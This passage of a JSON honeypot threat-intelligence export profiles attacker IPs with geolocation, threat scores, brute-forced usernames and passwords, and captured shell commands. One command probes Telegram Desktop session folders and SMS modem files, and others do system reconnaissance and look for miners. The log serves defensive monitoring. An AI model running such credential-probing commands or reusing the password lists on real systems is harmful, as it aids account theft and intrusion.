        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 43,
        "Dionaea": 1
      }
    },
    "185.111.235.60": {
      "attack_count": 68,
      "first_seen": "2026-05-03T13:14:23.765Z",
      "last_seen": "2026-05-03T13:27:12.211Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 60144,
      "as_org": "3W Infra B.V.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:14:23.765000+00:00",
        "last_seen_30d": "2026-05-03T13:28:15.019000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 167,
        "Cowrie": 68
      }
    },
    "65.60.5.244": {
      "attack_count": 54,
      "first_seen": "2026-05-12T17:44:37.874Z",
      "last_seen": "2026-05-31T08:29:26.235Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:44:37.874000+00:00",
        "last_seen_30d": "2026-05-31T08:30:27.365000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "14.1.106.225": {
      "attack_count": 50,
      "first_seen": "2026-05-22T10:07:11.392Z",
      "last_seen": "2026-05-22T10:12:36.658Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:07:11.392000+00:00",
        "last_seen_30d": "2026-05-22T10:13:42.768000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "198.23.249.85": {
      "attack_count": 48,
      "first_seen": "2026-05-08T14:41:36.713Z",
      "last_seen": "2026-05-31T09:59:52.950Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:41:36.713000+00:00",
        "last_seen_30d": "2026-05-31T10:00:56.789000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "165.245.161.237": {
      "attack_count": 45,
      "first_seen": "2026-05-29T21:44:32.714Z",
      "last_seen": "2026-05-29T22:04:43.094Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "ada",
        "bnb",
        "btc",
        "eth",
        "sol",
        "usdc",
        "usdt",
        "xrp"
      ],
      "passwords_attempted": [
        "ada",
        "bnb",
        "btc",
        "eth",
        "sol",
        "usdc",
        "usdt",
        "xrp"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sandston",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:43:28.669000+00:00",
        "last_seen_30d": "2026-05-29T22:05:49.353000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 23
      }
    },
    "178.104.70.161": {
      "attack_count": 41,
      "first_seen": "2026-05-15T18:25:14.454Z",
      "last_seen": "2026-05-15T22:52:47.097Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "172.105.186.117",
        "root@2026",
        "ubuntu",
        "user"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.size",
        "cowrie.command.input",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T18:17:54.804000+00:00",
        "last_seen_30d": "2026-05-15T22:53:52.623000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 22
      }
    },
    "103.185.53.93": {
      "attack_count": 36,
      "first_seen": "2026-05-18T12:38:32.830Z",
      "last_seen": "2026-05-31T13:40:52.951Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139456,
      "as_org": "PT DEWAWEB",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:38:32.830000+00:00",
        "last_seen_30d": "2026-05-31T13:41:55.148000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "45.15.225.137": {
      "attack_count": 35,
      "first_seen": "2026-05-25T20:02:40.720Z",
      "last_seen": "2026-05-25T20:03:57.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 207164,
      "as_org": "Primanet Srl",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:02:40.720000+00:00",
        "last_seen_30d": "2026-05-25T20:05:05.616000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "197.158.29.193": {
      "attack_count": 34,
      "first_seen": "2026-05-18T22:04:08.145Z",
      "last_seen": "2026-05-19T02:01:56.439Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mozambique",
      "country_code": "MZ",
      "city": "Maputo",
      "asn": 30619,
      "as_org": "TMCEL-Mocambique",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:04:08.145000+00:00",
        "last_seen_30d": "2026-05-19T02:03:02.237000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 17
      }
    },
    "34.156.146.250": {
      "attack_count": 33,
      "first_seen": "2026-05-20T03:34:08.666Z",
      "last_seen": "2026-05-20T03:34:25.239Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:34:08.666000+00:00",
        "last_seen_30d": "2026-05-20T03:35:35.048000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 20
      }
    },
    "34.215.48.253": {
      "attack_count": 32,
      "first_seen": "2026-05-05T03:56:25.724Z",
      "last_seen": "2026-05-05T03:56:33.219Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:56:25.724000+00:00",
        "last_seen_30d": "2026-05-05T03:57:42.888000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "173.254.207.146": {
      "attack_count": 30,
      "first_seen": "2026-05-10T06:30:44.607Z",
      "last_seen": "2026-05-31T02:10:05.896Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:30:44.607000+00:00",
        "last_seen_30d": "2026-05-31T02:11:11.537000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "139.135.43.5": {
      "attack_count": 26,
      "first_seen": "2026-05-30T01:13:23.308Z",
      "last_seen": "2026-05-30T01:17:59.072Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:13:23.308000+00:00",
        "last_seen_30d": "2026-05-30T01:28:58.613000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "14.103.184.200": {
      "attack_count": 20,
      "first_seen": "2026-05-30T11:34:56.437Z",
      "last_seen": "2026-05-30T11:48:19.278Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "eric"
      ],
      "passwords_attempted": [
        "1q2w3e!Q@W#E",
        "1qazXSW@3edc",
        "Q1w2e3r4t5!",
        "eric"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:34:56.437000+00:00",
        "last_seen_30d": "2026-05-30T11:49:24.708000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "34.100.174.162": {
      "attack_count": 20,
      "first_seen": "2026-05-27T18:49:58.679Z",
      "last_seen": "2026-05-27T18:54:30.881Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:49:36.864000+00:00",
        "last_seen_30d": "2026-05-27T18:55:36.114000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "80.66.83.43": {
      "attack_count": 18,
      "first_seen": "2026-05-08T20:43:04.593Z",
      "last_seen": "2026-05-28T08:47:18.702Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 216473,
      "as_org": "Bashinskii Vadim Ruslanovich",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6927,
        "days_active_30d": 30,
        "ports_targeted_30d": 134,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T07:17:37+00:00",
        "last_seen_30d": "2026-05-31T22:11:27.906000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3864,
        "Honeytrap": 2998,
        "Cowrie": 18,
        "Adbhoney": 16,
        "ConPot": 16,
        "Dionaea": 15
      }
    },
    "45.224.188.56": {
      "attack_count": 16,
      "first_seen": "2026-05-16T17:43:11.977Z",
      "last_seen": "2026-05-16T17:49:20.038Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Paran\u00e1",
      "asn": 265862,
      "as_org": "BM SOLUCIONES S.R.L.",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:43:11.977000+00:00",
        "last_seen_30d": "2026-05-16T17:59:30.283000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "66.223.220.44": {
      "attack_count": 14,
      "first_seen": "2026-05-08T15:36:00.834Z",
      "last_seen": "2026-05-08T15:41:53.683Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Anchorage",
      "asn": 8047,
      "as_org": "GENERAL COMMUNICATION, INC.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T15:36:00.834000+00:00",
        "last_seen_30d": "2026-05-08T15:52:25.272000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "1.197.102.62": {
      "attack_count": 12,
      "first_seen": "2026-05-29T19:47:51.044Z",
      "last_seen": "2026-05-29T19:48:16.280Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root123456",
        "\ufeff------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:47:51.044000+00:00",
        "last_seen_30d": "2026-05-29T19:49:54.764000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 12
      }
    },
    "117.50.138.166": {
      "attack_count": 12,
      "first_seen": "2026-05-24T03:39:07.219Z",
      "last_seen": "2026-05-27T05:46:01.675Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "\ufeff------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 17.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 21,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T14:23:22+00:00",
        "last_seen_30d": "2026-05-31T19:38:12.140000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 12,
        "Honeytrap": 8
      }
    },
    "103.61.122.197": {
      "attack_count": 10,
      "first_seen": "2026-05-16T17:57:06.938Z",
      "last_seen": "2026-05-16T17:57:10.024Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:57:06.938000+00:00",
        "last_seen_30d": "2026-05-16T17:58:19.528000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "116.207.108.194": {
      "attack_count": 10,
      "first_seen": "2026-05-19T08:19:34.979Z",
      "last_seen": "2026-05-19T08:33:37.905Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:19:34.979000+00:00",
        "last_seen_30d": "2026-05-19T08:34:46.653000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "197.5.145.8": {
      "attack_count": 10,
      "first_seen": "2026-05-16T13:22:40.424Z",
      "last_seen": "2026-05-24T08:16:04.002Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "zl"
      ],
      "passwords_attempted": [
        "Password01",
        "zl"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:22:40.424000+00:00",
        "last_seen_30d": "2026-05-24T08:17:08.331000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "181.78.95.114": {
      "attack_count": 8,
      "first_seen": "2026-05-23T22:53:26.867Z",
      "last_seen": "2026-05-23T23:01:31.108Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:53:26.867000+00:00",
        "last_seen_30d": "2026-05-23T23:02:35.387000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "200.140.174.56": {
      "attack_count": 8,
      "first_seen": "2026-05-21T01:06:25.980Z",
      "last_seen": "2026-05-21T01:14:29.544Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio Verde",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:06:25.980000+00:00",
        "last_seen_30d": "2026-05-22T01:18:28.071000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "65.49.1.52": {
      "attack_count": 8,
      "first_seen": "2026-05-07T01:41:52.290Z",
      "last_seen": "2026-05-15T05:55:21.075Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
